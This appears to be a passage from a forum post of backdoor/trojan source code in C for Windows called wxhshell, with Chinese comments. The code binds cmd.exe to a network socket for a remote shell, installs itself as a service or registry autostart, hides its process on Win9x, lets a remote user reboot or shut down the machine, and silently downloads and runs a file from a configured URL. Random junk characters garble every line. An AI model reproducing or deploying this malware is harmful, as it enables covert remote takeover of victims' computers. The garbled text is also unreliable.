      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 67y Tvr@a  
    break; V34hFa  
  } -[L!3jU  
  // 安装 ;l$ \6T  
  case 'i': { ; O<9|?  
    if(Install()) pStk/te,XK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]\ngX;h8G  
    else 5{$LsL  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); OxGE%R,  
    break; e6_ZjrQf  
    } n&A'C\  
  // 卸载 ^T~gEv  
  case 'r': { CIVnCy z  
    if(Uninstall()) 16SOIT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /s];{m|>  
    else >&!RWH9*q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  X\}Y  
    break; Bvt@X   
    } ;60.l!   
  // 显示 wxhshell 所在路径 R/`q/0T.  
  case 'p': { Y wkyq>Rv  
    char svExeFile[MAX_PATH]; M# 18H<]  
    strcpy(svExeFile,"\n\r"); .@-$5Jw  
      strcat(svExeFile,ExeFile); [yj).*0  
        send(wsh,svExeFile,strlen(svExeFile),0); u{z``]  
    break; `]P pau  
    } Ej7 /X ~  
  // 重启 Blq8H"3!:  
  case 'b': { Vb qto|X@  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); h $N0 D !  
    if(Boot(REBOOT)) RI2f`p8k  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'Peni1_  
    else { >R/$1e1Y  
    closesocket(wsh); 1N2,mo?2  
    ExitThread(0); _Jv 9F8v  
    } &Z?ut *%S  
    break; 6oSQQhge  
    } ASPy  
  // 关机 h d~$WV0#  
  case 'd': { wv^rS^~  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 4.RG4Jq  
    if(Boot(SHUTDOWN)) ~XeFOM q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *Ei|fe$sa  
    else { 0q\7C[R_  
    closesocket(wsh); _7DkS}NJs  
    ExitThread(0); CQ;]J=|<_  
    } A8A ~!2V  
    break; ;6 +}z~  
    } .Wi{lt  
  // 获取shell a^5^gId5l!  
  case 's': { {G*A.$-d  
    CmdShell(wsh); ceGa([#!\_  
    closesocket(wsh); e4FM} z[  
    ExitThread(0); 1y^K/.5-  
    break; )6~1 ^tD  
  } d3^OEwe  
  // 退出 . |*f!w}5  
  case 'x': { H UoyLy  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); !6&W,0<  
    CloseIt(wsh); rwIe qV{:  
    break; 2FD=lR?6  
    } v}^5Rp&m  
  // 离开 4lKVY<  
  case 'q': { vILy>QS)  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); x_|F|9  
    closesocket(wsh); H;aYiy  
    WSACleanup(); r3rxC&  
    exit(1); drwgjLC+  
    break; qC!&x,}3  
        } x{ }z ;yG  
  } v6\F Q9|t  
  } 9dh >l!2  
(J"T]-[  
  // 提示信息 I|$ RJkD  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }B7K@Wu#  
} G1 o70  
  } ^7]"kg DA  
fQ>4MKLw=d  
  return;  QH]M   
} ~tB;@e  
.ut{,(5  
// shell模块句柄 t0:AScZY   
int CmdShell(SOCKET sock) 7 1W5.!  
{ N?dvuB  
STARTUPINFO si; {5*|C-WWtG  
ZeroMemory(&si,sizeof(si)); XS~- vF  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 0^'B3$>  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 0i[zup  
PROCESS_INFORMATION ProcessInfo; \bCX=E-  
char cmdline[]="cmd"; 8 6QE /M  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo);  t4Z  
  return 0; 4\.V   
} EPW7+Ve  
=\)IaZ  
// 自身启动模式 /W#O +  
int StartFromService(void) RnfXN)+P  
{ 6)\dBOz  
typedef struct m xw dugr`  
{ "HM{b?N  
  DWORD ExitStatus; u!N{y,7W)  
  DWORD PebBaseAddress; h06ku2Q  
  DWORD AffinityMask; =R*Gk4<Y  
  DWORD BasePriority; v;y0jD#b  
  ULONG UniqueProcessId; nD" ~?*Lt  
  ULONG InheritedFromUniqueProcessId; V@=V5bZLs  
}   PROCESS_BASIC_INFORMATION; %,b X/!  
&Y@#g9G  
PROCNTQSIP NtQueryInformationProcess; yj@tV2  
M4Z@O3OI E  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; !}3,B28  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; P];JKE%  
151tXSzLT  
  HANDLE             hProcess; "fQRk  
  PROCESS_BASIC_INFORMATION pbi; 09M;}4ev&7  
TY;U2.Ud  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Bd bJ< Is  
  if(NULL == hInst ) return 0; FqA3  {  
D y6$J3 r  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); N$?cX(|7  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ( g :p5Rl  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); M/V(5IoP (  
$mco0 %$  
  if (!NtQueryInformationProcess) return 0; zvv:dC/p<  
)He#K+[}^4  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); NnxM3*  
  if(!hProcess) return 0; %R0v5=2'  
qUhRu>   
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; . ,NB( s`  
+-068k(  
  CloseHandle(hProcess); ;~HNpu$  
1H:ea7YVU  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); oL/o*^  
if(hProcess==NULL) return 0; (U.**9b;  
FYPz 4K  
HMODULE hMod; E(+T*  
char procName[255]; )&W|QH=AI  
unsigned long cbNeeded;  e/e0d<(1  
dhRJg"vrQ  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 7INk_2  
>3;^l/2c  
  CloseHandle(hProcess); ^[h2%c$  
2xmk,&s  
if(strstr(procName,"services")) return 1; // 以服务启动 HOYq?40.R  
nYv#4*  
  return 0; // 注册表启动 ^6/j_G  
} "2n;3ByR  
L9IGK<  
// 主模块 m^!Sv?hV  
int StartWxhshell(LPSTR lpCmdLine) yYAnwf  
{ }$&WC:Lg  
  SOCKET wsl; s*,cF6  
BOOL val=TRUE; eVnbRT2y&  
  int port=0; si/er"&o  
  struct sockaddr_in door; qc!xW ,I  
4sY[az  
  if(wscfg.ws_autoins) Install(); l^ 4OC  
&R]pw`mTH  
port=atoi(lpCmdLine); f[/.I,9U^  
>M^&F6  
if(port<=0) port=wscfg.ws_port; G_oX5:J*  
$fArk36O#  
  WSADATA data; |uha 38~  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; `ypL]$cW  
Md(JIlh3  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   q&M:17+:Q  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); K_-MkY?+  
  door.sin_family = AF_INET; m^$5K's&  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); qMgfMhQ7DU  
  door.sin_port = htons(port); hN4VlNKu  
&zN@5m$k;  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { `!c,y~r[  
closesocket(wsl); .K9l*-e[=  
return 1; cqQRU  
} nlfPg-78B+  
4UCwT1  
  if(listen(wsl,2) == INVALID_SOCKET) { nTZ> |R)  
closesocket(wsl); (DJvi6\H  
return 1;  {;RF  
} EODB`$+  
  Wxhshell(wsl); 8$ DwpJ  
  WSACleanup(); ce5nG0@#  
oa0X5}D  
return 0; J/S{FxNe]  
^@_).:oX7  
} _^; ;i4VZ  
KSOO?X0j  
// 以NT服务方式启动 u(9X  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) UD*+"~  
{ xYT}>#[  
DWORD   status = 0; 3_J>y  
  DWORD   specificError = 0xfffffff; e{t=>vry  
WFh@%j  
  serviceStatus.dwServiceType     = SERVICE_WIN32; aF])"9  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 6GOg_P  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; $r"A@69^RS  
  serviceStatus.dwWin32ExitCode     = 0; wW()Zy0)  
  serviceStatus.dwServiceSpecificExitCode = 0; xKW"X   
  serviceStatus.dwCheckPoint       = 0; "-U3=+  
  serviceStatus.dwWaitHint       = 0; ~PYFYjHC  
F"BL #g66  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); .}p|`3$P  
  if (hServiceStatusHandle==0) return; G^KC&  
@^wpAQfd4  
status = GetLastError(); ('BLU.7IX  
  if (status!=NO_ERROR) ,I39&;Iq  
{ G7Ny"{Z  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; [a NhP;<  
    serviceStatus.dwCheckPoint       = 0; ~u2w`H?V  
    serviceStatus.dwWaitHint       = 0; Ars,V3ep  
    serviceStatus.dwWin32ExitCode     = status; 6PJ'lA;*b  
    serviceStatus.dwServiceSpecificExitCode = specificError; ('HxHOh2  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); t&pGQ  
    return; 6 6dTs,C  
  } ;Id"n7W  
I7bi@t  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 7sguGwg)_  
  serviceStatus.dwCheckPoint       = 0; ^f0(aYWx  
  serviceStatus.dwWaitHint       = 0; 86{ZFtv  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ~>w:;M=sV8  
} fM9xy \.  
/#IH -2N  
// 处理NT服务事件,比如:启动、停止 1)Eq&ASB  
VOID WINAPI NTServiceHandler(DWORD fdwControl) {r{>?)O  
{ hg#c[sZL  
switch(fdwControl) 0x4l5x$8  
{ @WJf)  
case SERVICE_CONTROL_STOP: +{0=<2(EC  
  serviceStatus.dwWin32ExitCode = 0; ecT]p  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; s[Gswd  
  serviceStatus.dwCheckPoint   = 0; <)J55++  
  serviceStatus.dwWaitHint     = 0; Re\o v x9  
  { }6@%((9E 2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); W+/2c4$F3  
  }  h.D^1  
  return; r"[L0Cbb  
case SERVICE_CONTROL_PAUSE: fU` T\  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; /'"R Mq  
  break; n531rkK-   
case SERVICE_CONTROL_CONTINUE: qu!<lW~c  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; *cQz[S@F  
  break; 'rh\CA/}D  
case SERVICE_CONTROL_INTERROGATE: m>O2t-  
  break; ZZwBOGVU  
}; T"B8;|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); sOC| B  
} p Mh++H]"  
)=Y-f?o!  
// 标准应用程序主函数 @QX4 \  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 5 Af?Yxv  
{ v'$ykZ!Z  
uAQg"j  
// 获取操作系统版本 3m~U(yho  
OsIsNt=GetOsVer(); (Y>U6  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ) _ #T c  
|/t K-c6J  
  // 从命令行安装 JQr36U  
  if(strpbrk(lpCmdLine,"iI")) Install(); ]ci RiMkT(  
Qv74?B@  
  // 下载执行文件 | 4%v"U  
if(wscfg.ws_downexe) { >LCjtm\  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) LsnXS9_  
  WinExec(wscfg.ws_filenam,SW_HIDE); >7W"giWP  
} wb@]>MJ}[s  
L% zuI& q  
if(!OsIsNt) { ?;/{rITP#  
// 如果时win9x,隐藏进程并且设置为注册表启动 {6DpPw^"  
HideProc(); *eMLbU7  
StartWxhshell(lpCmdLine); /T{mS7EpYc  
} sbpu qOL  
else ,qYf#fU#7  
  if(StartFromService()) ={OCa1  
  // 以服务方式启动 KM EXT$p  
  StartServiceCtrlDispatcher(DispatchTable); gMCy$+?  
else a3*.,%d  
  // 普通方式启动 _5Bu [I  
  StartWxhshell(lpCmdLine); <)"iL4 kDI  
)~G8 LZ  
return 0; NCp%sGBmG  
}
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只看该作者 1 发表于: 2006-10-10
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